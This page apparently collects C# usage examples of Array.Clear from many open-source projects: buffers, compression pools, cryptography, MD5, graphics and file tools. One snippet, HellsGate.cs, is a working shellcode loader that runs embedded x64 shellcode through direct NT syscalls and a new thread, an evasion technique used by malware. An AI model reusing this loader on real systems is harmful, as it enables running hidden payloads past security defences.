            //(RuntimeHelpers.IsReferenceOrContainsReferences could solve this if it becomes available.)
            if (!SpanHelper.IsPrimitive<T>())
                System.Array.Clear(Memory, start, count);
        }

19 View Source File : RingCollection.cs
License : MIT License
Project Creator : AlexGyver

public void Clear() {
      
      // remove potential references 
      if (head < tail) {
        Array.Clear(array, head, size);
      } else {
        Array.Clear(array, 0, tail);
        Array.Clear(array, head, array.Length - head);
      }

      this.head = 0;
      this.tail = 0;
      this.size = 0;
    }

19 View Source File : PieceManager.cs
License : MIT License
Project Creator : aljazsim

public Piece CheckOut(int pieceIndex, byte[] pieceData = null, bool[] bitField = null)
        {
            pieceIndex.MustBeGreaterThanOrEqualTo(0);
            pieceIndex.MustBeLessThanOrEqualTo(this.PieceCount);
            pieceData.IsNotNull().Then(() => pieceData.LongLength.MustBeEqualTo(this.GetPieceLength(pieceIndex)));
            bitField.IsNotNull().Then(() => bitField.Length.MustBeEqualTo(this.GetBlockCount(pieceIndex)));

            this.CheckIfObjectIsDisposed();

            Piece piece = null;
            string hash;
            long pieceLength = this.PieceLength;
            int blockCount = this.BlockCount;

            if (pieceData != null)
            {
                Array.Clear(pieceData, 0, pieceData.Length);
            }

            if (bitField != null)
            {
                Array.Clear(bitField, 0, bitField.Length);
            }

            lock (this.locker)
            {
                // only missing pieces can be checked out
                if (this.BitField[pieceIndex] == PieceStatus.Missing ||
                    (this.BitField[pieceIndex] == PieceStatus.CheckedOut &&
                     this.IsEndGame))
                {
                    hash = this.pieceHashes.ElementAt(pieceIndex);
                    pieceLength = this.GetPieceLength(pieceIndex);
                    blockCount = this.GetBlockCount(pieceIndex);

                    piece = new Piece(pieceIndex, hash, pieceLength, this.BlockLength, blockCount, pieceData, bitField);
                    piece.Completed += this.Piece_Completed;
                    piece.Corrupted += this.Piece_Corrupted;

                    this.BitField[pieceIndex] = PieceStatus.CheckedOut;

                    if (!this.checkouts.ContainsKey(pieceIndex))
                    {
                        this.checkouts.Add(pieceIndex, DateTime.UtcNow);
                    }
                }
            }

            return piece;
        }

19 View Source File : stack.cs
License : MIT License
Project Creator : AllAlgorithms

public void Clear()
    {
        Array.Clear(_array, 0, _size);
        _top = -1;
    }

19 View Source File : LZ4Codec.Helper.cs
License : Apache License 2.0
Project Creator : allenai

public static ushort[] GetUShortHashTablePool()
            {
                if (ushortPool == null)
                {
                    ushortPool = new ushort[HASH64K_TABLESIZE];
                }
                else
                {
                    Array.Clear(ushortPool, 0, ushortPool.Length);
                }

                return ushortPool;
            }

19 View Source File : StablePriorityQueue.cs
License : Apache License 2.0
Project Creator : allenai

public void Clear()
        {
            Array.Clear(_nodes, 1, _numNodes);
            _numNodes = 0;
        }

19 View Source File : CryptoBytes.cs
License : MIT License
Project Creator : allartprotocol

[MethodImpl(MethodImplOptions.NoInlining)]
        internal static void InternalWipe(byte[] data, int offset, int count)
        {
            Array.Clear(data, offset, count);
        }

19 View Source File : XSalsa20Poly1305.cs
License : MIT License
Project Creator : allartprotocol

private static bool DecryptInternal(byte[] plaintext, int plaintextOffset, byte[] ciphertext, int ciphertextOffset, int ciphertextLength, byte[] key, int keyOffset, byte[] nonce, int nonceOffset)
        {
            int plaintextLength = ciphertextLength - MacSizeInBytes;
            Array16<UInt32> internalKey;
            PrepareInternalKey(out internalKey, key, keyOffset, nonce, nonceOffset);

            Array16<UInt32> temp;
            var tempBytes = new byte[64];//todo: remove allocation

            // first iteration
            {
                SalsaCore.Salsa(out temp, ref internalKey, 20);

                //first half is for Poly1305
                Array8<UInt32> poly1305Key;
                poly1305Key.x0 = temp.x0;
                poly1305Key.x1 = temp.x1;
                poly1305Key.x2 = temp.x2;
                poly1305Key.x3 = temp.x3;
                poly1305Key.x4 = temp.x4;
                poly1305Key.x5 = temp.x5;
                poly1305Key.x6 = temp.x6;
                poly1305Key.x7 = temp.x7;

                // compute MAC
                Poly1305Donna.poly1305_auth(tempBytes, 0, ciphertext, ciphertextOffset + 16, plaintextLength, ref poly1305Key);
                if (!CryptoBytes.ConstantTimeEquals(tempBytes, 0, ciphertext, ciphertextOffset, MacSizeInBytes))
                {
                    Array.Clear(plaintext, plaintextOffset, plaintextLength);
                    return false;
                }

                // rest for the message
                ByteIntegerConverter.StoreLittleEndian32(tempBytes, 0, temp.x8);
                ByteIntegerConverter.StoreLittleEndian32(tempBytes, 4, temp.x9);
                ByteIntegerConverter.StoreLittleEndian32(tempBytes, 8, temp.x10);
                ByteIntegerConverter.StoreLittleEndian32(tempBytes, 12, temp.x11);
                ByteIntegerConverter.StoreLittleEndian32(tempBytes, 16, temp.x12);
                ByteIntegerConverter.StoreLittleEndian32(tempBytes, 20, temp.x13);
                ByteIntegerConverter.StoreLittleEndian32(tempBytes, 24, temp.x14);
                ByteIntegerConverter.StoreLittleEndian32(tempBytes, 28, temp.x15);
                int count = Math.Min(32, plaintextLength);
                for (int i = 0; i < count; i++)
                    plaintext[plaintextOffset + i] = (byte)(ciphertext[MacSizeInBytes + ciphertextOffset + i] ^ tempBytes[i]);
            }

            // later iterations
            int blockOffset = 32;
            while (blockOffset < plaintextLength)
            {
                internalKey.x8++;
                SalsaCore.Salsa(out temp, ref internalKey, 20);
                ByteIntegerConverter.Array16StoreLittleEndian32(tempBytes, 0, ref temp);
                int count = Math.Min(64, plaintextLength - blockOffset);
                for (int i = 0; i < count; i++)
                    plaintext[plaintextOffset + blockOffset + i] = (byte)(ciphertext[16 + ciphertextOffset + blockOffset + i] ^ tempBytes[i]);
                blockOffset += 64;
            }
            return true;
        }

19 View Source File : LZ4Codec.Helper.cs
License : Apache License 2.0
Project Creator : allenai

public static uint[] GetUIntHashTablePool()
            {
                if (uintPool == null)
                {
                    uintPool = new uint[HASH_TABLESIZE];
                }
                else
                {
                    Array.Clear(uintPool, 0, uintPool.Length);
                }

                return uintPool;
            }

19 View Source File : LZ4Codec.Helper.cs
License : Apache License 2.0
Project Creator : allenai

public static int[] GetIntHashTablePool()
            {
                if (intPool == null)
                {
                    intPool = new int[HASH_TABLESIZE];
                }
                else
                {
                    Array.Clear(intPool, 0, intPool.Length);
                }

                return intPool;
            }

19 View Source File : MD5.cs
License : GNU General Public License v3.0
Project Creator : aloopkin

public void Clear()
            {
                Array.Clear(state, 0, state.Length);
                Array.Clear(count, 0, count.Length);
                Array.Clear(buffer, 0, buffer.Length);
            }

19 View Source File : MD5.cs
License : GNU General Public License v3.0
Project Creator : aloopkin

private static void MD5Transform(uint[] state,
                                         byte[] block,
                                         uint blockIndex)
        {
            uint a = state[0], b = state[1], c = state[2], d = state[3];
            uint[] x = new uint[16];

            Decode(x, block, blockIndex, 64);

            /* Round 1 */
            FF(ref a, b, c, d, x[0], S11, 0xd76aa478); /* 1 */
            FF(ref d, a, b, c, x[1], S12, 0xe8c7b756); /* 2 */
            FF(ref c, d, a, b, x[2], S13, 0x242070db); /* 3 */
            FF(ref b, c, d, a, x[3], S14, 0xc1bdceee); /* 4 */
            FF(ref a, b, c, d, x[4], S11, 0xf57c0faf); /* 5 */
            FF(ref d, a, b, c, x[5], S12, 0x4787c62a); /* 6 */
            FF(ref c, d, a, b, x[6], S13, 0xa8304613); /* 7 */
            FF(ref b, c, d, a, x[7], S14, 0xfd469501); /* 8 */
            FF(ref a, b, c, d, x[8], S11, 0x698098d8); /* 9 */
            FF(ref d, a, b, c, x[9], S12, 0x8b44f7af); /* 10 */
            FF(ref c, d, a, b, x[10], S13, 0xffff5bb1); /* 11 */
            FF(ref b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */
            FF(ref a, b, c, d, x[12], S11, 0x6b901122); /* 13 */
            FF(ref d, a, b, c, x[13], S12, 0xfd987193); /* 14 */
            FF(ref c, d, a, b, x[14], S13, 0xa679438e); /* 15 */
            FF(ref b, c, d, a, x[15], S14, 0x49b40821); /* 16 */

            /* Round 2 */
            GG(ref a, b, c, d, x[1], S21, 0xf61e2562); /* 17 */
            GG(ref d, a, b, c, x[6], S22, 0xc040b340); /* 18 */
            GG(ref c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */
            GG(ref b, c, d, a, x[0], S24, 0xe9b6c7aa); /* 20 */
            GG(ref a, b, c, d, x[5], S21, 0xd62f105d); /* 21 */
            GG(ref d, a, b, c, x[10], S22, 0x02441453); /* 22 */
            GG(ref c, d, a, b, x[15], S23, 0xd8a1e681); /* 23 */
            GG(ref b, c, d, a, x[4], S24, 0xe7d3fbc8); /* 24 */
            GG(ref a, b, c, d, x[9], S21, 0x21e1cde6); /* 25 */
            GG(ref d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */
            GG(ref c, d, a, b, x[3], S23, 0xf4d50d87); /* 27 */
            GG(ref b, c, d, a, x[8], S24, 0x455a14ed); /* 28 */
            GG(ref a, b, c, d, x[13], S21, 0xa9e3e905); /* 29 */
            GG(ref d, a, b, c, x[2], S22, 0xfcefa3f8); /* 30 */
            GG(ref c, d, a, b, x[7], S23, 0x676f02d9); /* 31 */
            GG(ref b, c, d, a, x[12], S24, 0x8d2a4c8a); /* 32 */

            /* Round 3 */
            HH(ref a, b, c, d, x[5], S31, 0xfffa3942); /* 33 */
            HH(ref d, a, b, c, x[8], S32, 0x8771f681); /* 34 */
            HH(ref c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */
            HH(ref b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */
            HH(ref a, b, c, d, x[1], S31, 0xa4beea44); /* 37 */
            HH(ref d, a, b, c, x[4], S32, 0x4bdecfa9); /* 38 */
            HH(ref c, d, a, b, x[7], S33, 0xf6bb4b60); /* 39 */
            HH(ref b, c, d, a, x[10], S34, 0xbebfbc70); /* 40 */
            HH(ref a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */
            HH(ref d, a, b, c, x[0], S32, 0xeaa127fa); /* 42 */
            HH(ref c, d, a, b, x[3], S33, 0xd4ef3085); /* 43 */
            HH(ref b, c, d, a, x[6], S34, 0x04881d05); /* 44 */
            HH(ref a, b, c, d, x[9], S31, 0xd9d4d039); /* 45 */
            HH(ref d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */
            HH(ref c, d, a, b, x[15], S33, 0x1fa27cf8); /* 47 */
            HH(ref b, c, d, a, x[2], S34, 0xc4ac5665); /* 48 */

            /* Round 4 */
            II(ref a, b, c, d, x[0], S41, 0xf4292244); /* 49 */
            II(ref d, a, b, c, x[7], S42, 0x432aff97); /* 50 */
            II(ref c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */
            II(ref b, c, d, a, x[5], S44, 0xfc93a039); /* 52 */
            II(ref a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */
            II(ref d, a, b, c, x[3], S42, 0x8f0ccc92); /* 54 */
            II(ref c, d, a, b, x[10], S43, 0xffeff47d); /* 55 */
            II(ref b, c, d, a, x[1], S44, 0x85845dd1); /* 56 */
            II(ref a, b, c, d, x[8], S41, 0x6fa87e4f); /* 57 */
            II(ref d, a, b, c, x[15], S42, 0xfe2ce6e0); /* 58 */
            II(ref c, d, a, b, x[6], S43, 0xa3014314); /* 59 */
            II(ref b, c, d, a, x[13], S44, 0x4e0811a1); /* 60 */
            II(ref a, b, c, d, x[4], S41, 0xf7537e82); /* 61 */
            II(ref d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */
            II(ref c, d, a, b, x[2], S43, 0x2ad7d2bb); /* 63 */
            II(ref b, c, d, a, x[9], S44, 0xeb86d391); /* 64 */

            state[0] += a;
            state[1] += b;
            state[2] += c;
            state[3] += d;

            /* Zeroize sensitive information. */
            Array.Clear(x, 0, x.Length);
        }

19 View Source File : ArrayExtension.cs
License : MIT License
Project Creator : AlphaYu

public static void ClearAll([NotNull] this Array @this)
        {
            Array.Clear(@this, 0, @this.Length);
        }

19 View Source File : ArrayExtension.cs
License : MIT License
Project Creator : AlphaYu

public static void Clear([NotNull] this Array array, int index, int length)
        {
            Array.Clear(array, index, length);
        }

19 View Source File : HellsGate.cs
License : GNU General Public License v3.0
Project Creator : am0nsec

public void Payload() {
            if (!this.IsGateReady) {
                if (!this.GenerateRWXMemorySegment()) {
                    Util.LogError("Unable to generate RX memory segment");
                    return;
                }
            }

            byte[] shellcode = new byte[273] {
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
                0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
                0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
                0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
                0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
                0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
                0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
                0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
                0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
                0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
                0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
                0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
                0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
                0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
                0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
                0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
                0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
                0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
                0x63,0x00,0xc3
            };
            Util.LogInfo($"Shellcode size: {shellcode.Length} bytes");

            // Allocate Memory
            IntPtr pBaseAddres = IntPtr.Zero;
            IntPtr Region = (IntPtr)shellcode.Length;
            UInt32 ntstatus = NtAllocateVirtualMemory(Macros.GetCurrentProcess(), ref pBaseAddres, IntPtr.Zero, ref Region, Macros.MEM_COMMIT | Macros.MEM_RESERVE, Macros.PAGE_READWRITE);
            if (!Macros.NT_SUCCESS(ntstatus)) {
                Util.LogError($"Error ntdll!NtAllocateVirtualMemory (0x{ntstatus:0x8})");
                return;
            }
            Util.LogInfo($"Page address:   0x{pBaseAddres:x16}");

            // Copy Memory
            Marshal.Copy(shellcode, 0, pBaseAddres, shellcode.Length);
            Array.Clear(shellcode, 0, shellcode.Length);

            // Change memory protection
            UInt32 OldAccessProtection = 0;
            ntstatus = NtProtectVirtualMemory(Macros.GetCurrentProcess(), ref pBaseAddres, ref Region, Macros.PAGE_EXECUTE_READ, ref OldAccessProtection);
            if (!Macros.NT_SUCCESS(ntstatus) || OldAccessProtection != 0x0004) {
                Util.LogError($"Error ntdll!NtProtectVirtualMemory (0x{ntstatus:0x8})");
                return;
            }

            IntPtr hThread = IntPtr.Zero;
            ntstatus = NtCreateThreadEx(ref hThread, 0x1FFFFF, IntPtr.Zero, Macros.GetCurrentProcess(), pBaseAddres, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
            if (!Macros.NT_SUCCESS(ntstatus) || hThread == IntPtr.Zero) {
                Util.LogError($"Error ntdll!NtCreateThreadEx (0x{ntstatus:0x8})");
                return;
            }
            Util.LogInfo($"Thread handle:  0x{hThread:x16}\n");

            // Wait for one second
            Structures.LARGE_INTEGER TimeOut = new Structures.LARGE_INTEGER();
            TimeOut.QuadPart = -10000000;
            ntstatus = NtWaitForSingleObject(hThread, false, ref TimeOut);
            if (ntstatus != 0x00) {
                Util.LogError($"Error ntdll!NtWaitForSingleObject (0x{ntstatus:0x8})");
                return;
            }
        }

19 View Source File : TMP_MeshInfo.cs
License : MIT License
Project Creator : Alword

public void Clear()
        {
            if (this.vertices == null) return;

            Array.Clear(this.vertices, 0, this.vertices.Length);
            this.vertexCount = 0;

            if (this.mesh != null)
                this.mesh.vertices = this.vertices;
        }

19 View Source File : TMP_MeshInfo.cs
License : MIT License
Project Creator : Alword

public void Clear(bool uploadChanges)
        {
            if (this.vertices == null) return;

            Array.Clear(this.vertices, 0, this.vertices.Length);
            this.vertexCount = 0;

            if (uploadChanges && this.mesh != null)
                this.mesh.vertices = this.vertices;

            if (this.mesh != null)
                this.mesh.bounds = s_DefaultBounds;
        }

19 View Source File : TMP_MeshInfo.cs
License : MIT License
Project Creator : Alword

public void ClearUnusedVertices()
        {
            int length = vertices.Length - vertexCount;

            if (length > 0)
                Array.Clear(vertices, vertexCount, length);
        }

19 View Source File : TMP_MeshInfo.cs
License : MIT License
Project Creator : Alword

public void ClearUnusedVertices(int startIndex)
        {
            int length = this.vertices.Length - startIndex;

            if (length > 0)
                Array.Clear(this.vertices, startIndex, length);
        }

19 View Source File : TMP_MeshInfo.cs
License : MIT License
Project Creator : Alword

public void ClearUnusedVertices(int startIndex, bool updateMesh)
        {
            int length = this.vertices.Length - startIndex;

            if (length > 0)
                Array.Clear(this.vertices, startIndex, length);

            if (updateMesh && mesh != null)
                this.mesh.vertices = this.vertices;
        }

19 View Source File : CommandList.cs
License : MIT License
Project Creator : Aminator

public void ClearState()
        {
            Array.Clear(Viewports, 0, Viewports.Length);
            Array.Clear(ScissorRectangles, 0, ScissorRectangles.Length);

            DepthStencilView? depthStencilBuffer = GraphicsDevice.Presenter?.DepthStencilBuffer;
            RenderTargetView? backBuffer = GraphicsDevice.Presenter?.BackBuffer;

            if (backBuffer != null)
            {
                SetRenderTargets(depthStencilBuffer, backBuffer);
                SetScissorRectangles(new Rectangle(0, 0, (int)backBuffer.Resource.Width, backBuffer.Resource.Height));
                SetViewports(new Viewport(0, 0, backBuffer.Resource.Width, backBuffer.Resource.Height));
            }
            else if (depthStencilBuffer != null)
            {
                SetRenderTargets(depthStencilBuffer);
                SetScissorRectangles(new Rectangle(0, 0, (int)depthStencilBuffer.Resource.Width, depthStencilBuffer.Resource.Height));
                SetViewports(new Viewport(0, 0, depthStencilBuffer.Resource.Width, depthStencilBuffer.Resource.Height));
            }
            else
            {
                SetRenderTargets(null);
            }
        }

19 View Source File : MainForm.cs
License : Mozilla Public License 2.0
Project Creator : amrali-eg

private static void ActionWorkerDoWork(object sender, DoWorkEventArgs e)
        {
            const int progressBufferSize = 5;

            BackgroundWorker worker = (BackgroundWorker)sender;
            WorkerArgs args = (WorkerArgs)e.Argument;

            string[] allFiles = Directory.GetFiles(args.BaseDirectory, "*.*",
                args.IncludeSubdirectories ? SearchOption.AllDirectories : SearchOption.TopDirectoryOnly);

            WorkerProgress[] progressBuffer = new WorkerProgress[progressBufferSize];
            int reportBufferCounter = 1;

            IEnumerable<Regex> maskPatterns = GenerateMaskPatterns(args.FileMasks);
            for (int i = 0; i < allFiles.Length; i++)
            {
                if (worker.CancellationPending)
                {
                    e.Cancel = true;
                    break;
                }

                string path = allFiles[i];
                string fileName = Path.GetFileName(path);
                if (!SatisfiesMaskPatterns(fileName, maskPatterns))
                    continue;

                Encoding encoding = TextEncoding.GetFileEncoding(path);
                string charset = encoding?.WebName ?? "(Unknown)";

                if (args.Action == CurrentAction.Validate)
                {
                    if (args.ValidCharsets.Contains(charset))
                        continue;
                }

                string directoryName = Path.GetDirectoryName(path);

                progressBuffer[reportBufferCounter - 1] = new WorkerProgress
                {
                    Charset = charset,
                    FileName = fileName,
                    DirectoryName = directoryName
                };
                reportBufferCounter++;
                if (reportBufferCounter > progressBufferSize)
                {
                    reportBufferCounter = 1;
                    int percentageCompleted = (i * 100) / allFiles.Length;
                    WorkerProgress[] reportProgress = new WorkerProgress[progressBufferSize];
                    Array.Copy(progressBuffer, reportProgress, progressBufferSize);
                    worker.ReportProgress(percentageCompleted, reportProgress);
                    Array.Clear(progressBuffer, 0, progressBufferSize);
                }
            }

            // Copy remaining results from buffer, if any.
            if (reportBufferCounter > 1)
            {
                reportBufferCounter--;
                const int percentageCompleted = 100;
                WorkerProgress[] reportProgress = new WorkerProgress[reportBufferCounter];
                Array.Copy(progressBuffer, reportProgress, reportBufferCounter);
                worker.ReportProgress(percentageCompleted, reportProgress);
                Array.Clear(progressBuffer, 0, reportBufferCounter);
            }
        }

19 View Source File : FeatureExtaction.cs
License : Apache License 2.0
Project Creator : AnkiUniversal

public static void HistogramOrientedGradient(byte[] image, int imageWidth, int imageHeight)
        {
            IntensityNormalization.Normalize(image, imageWidth, imageHeight, PAD_PIXELS, PAD_PIXELS);

            Array.Clear(GradientStrength, 0, GradientStrength.Length);
            Array.Clear(GradientDirection, 0, GradientDirection.Length);

            FindGradientValuesPreRow(imageWidth, IntensityNormalization.ImageNorm);
            Parallel.For(0, imageHeight - 1, (index) =>
            {
                FindGradientValues(imageWidth, index, IntensityNormalization.ImageNorm);
            });
            FindGradientValuesFinalRow(imageWidth, imageHeight, IntensityNormalization.ImageNorm);

            ParallelOptions options = new ParallelOptions();
            options.MaxDegreeOfParallelism = Environment.ProcessorCount / 2;
            Parallel.For(0, LENGTH / STEP_BLOCK - 1, (i) =>
            {
                for (int j = 0; j < LENGTH - STEP_BLOCK; j += STEP_BLOCK)
                    ExtractBlockFeatures(i, j);
            });

            NormalizeFeatureValue();
        }

19 View Source File : RejectEditMode.cs
License : GNU General Public License v3.0
Project Creator : anotak

private void UpdateOverlay()
		{
			MapSet map = General.Map.Map;

			if(renderer.StartOverlay(true))
			{
				if(selected != null)
				{
					int manualhiddencolor = PixelColor.FromColor(Color.Red).ToInt();
					int manualvisiblecolor = PixelColor.FromColor(Color.DeepSkyBlue).ToInt();
					int tablevisiblecolor = PixelColor.FromColor(Color.Blue).ToInt();
					
					Array.Clear(manualsectors, 0, manualsectors.Length);

					List<RejectSet> targets;
					if(BuilderPlug.Me.RejectChanges.TryGetValue(selected.FixedIndex, out targets))
					{
						// Draw all sectors that were set manually
						foreach(RejectSet rs in targets)
						{
							Sector ts = BuilderPlug.Me.GetSectorByFixedIndex(rs.target);
							switch(rs.state)
							{
								case RejectState.ForceHidden: RenderSectorFilled(ts, manualhiddencolor); break;
								case RejectState.ForceVisible: RenderSectorFilled(ts, manualvisiblecolor); break;
								default: throw new NotImplementedException();
							}
							manualsectors[rs.target] = true;
						}
					}

					// For all remaining sectors in the table, render them as the nodebuilder decided
					bool[] tabletargets = BuilderPlug.Me.UnmodifiedTable[selected.Index];
					for(int i = 0; i < tabletargets.Length; i++)
					{
						if(manualsectors[i]) continue;
						if(tabletargets[i]) continue;

						RenderSectorFilled(map.GetSectorByIndex(i), tablevisiblecolor);
					}
				}
				else
				{
					int indicationcolor = General.Colors.Indication.ToInt();
					foreach(KeyValuePair<int, List<RejectSet>> ss in BuilderPlug.Me.RejectChanges)
					{
						RenderSectorFilled(BuilderPlug.Me.GetSectorByFixedIndex(ss.Key), indicationcolor);
					}
				}

				renderer.Finish();
			}
		}

See More Examples